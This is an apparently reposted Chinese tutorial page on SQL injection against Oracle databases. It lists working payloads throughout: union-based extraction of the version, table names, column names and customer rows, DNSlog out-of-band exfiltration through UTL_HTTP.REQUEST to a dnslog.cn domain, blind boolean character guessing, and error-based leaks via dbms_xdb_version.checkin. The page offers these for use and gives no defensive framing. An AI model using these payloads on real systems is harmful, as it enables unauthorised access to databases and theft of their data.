您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關Oracle數據庫如何利用,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
1.1、判斷是否存在注入點
方法和其他數據庫類似,and 1=1 和and 1=2
1.2、判斷數據庫為oracle
注釋符號--,該符號是Oracle和MsSQL支持的注釋符,返回正常就需要繼續判斷。可以繼續提交多語句支持符號;如果支持多行查詢,說明是MSSQL,因為Oracle不支持多行查詢,可以繼續提交查詢語
and (select count(*) from user_tables)>0--
利用的原理是dual表和user_tables表是oracle中的系統表,返回正常就判斷為Oracle
1.3.1、獲取字段數,同樣可以使用oder by N 根據返回頁面判斷
1.3.2、判斷列數
union select '1','a','3','4','5' from dual -- //返回正常,則第一個字段是數字型,返回錯誤,為字符型,這里5個字段都為字符型
1.3.3、獲取數據庫版本
union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --
查詢,當前表所屬用戶,相當于當前庫,如下
1.3.4、查詢第一個表名
union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --
union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual -- //第二個表名
查看第一個字段名
union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --
查看第二個字段名
union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --
查看第三個字段名,在后面再加一個and column_name<>’名稱’
select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一個字段]' and column_name<>'[第二個字段名]'
讀取數據
union select '1',age,NAME,'4','5' from CUSTOMERS --
首先去http://www.dnslog.cn/網站申請一個域名
UTL_HTTP.REQUEST型
and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --
第一個字段名
union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn
'),'4','5' from dual --
UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入
3.1、獲取當前數據庫表的個數
and (select count(table_name) from user_tables)>1--
3.2、獲取第一個表的表名長度
and (select length(table_name) from user_tables where rownum=1)>8--
獲取第一個表的第一個字符的Ascii碼的值
and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--
4.1、獲取數據庫版本信息
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--
4.2、當前數據庫名稱
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
關于“Oracle數據庫如何利用”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。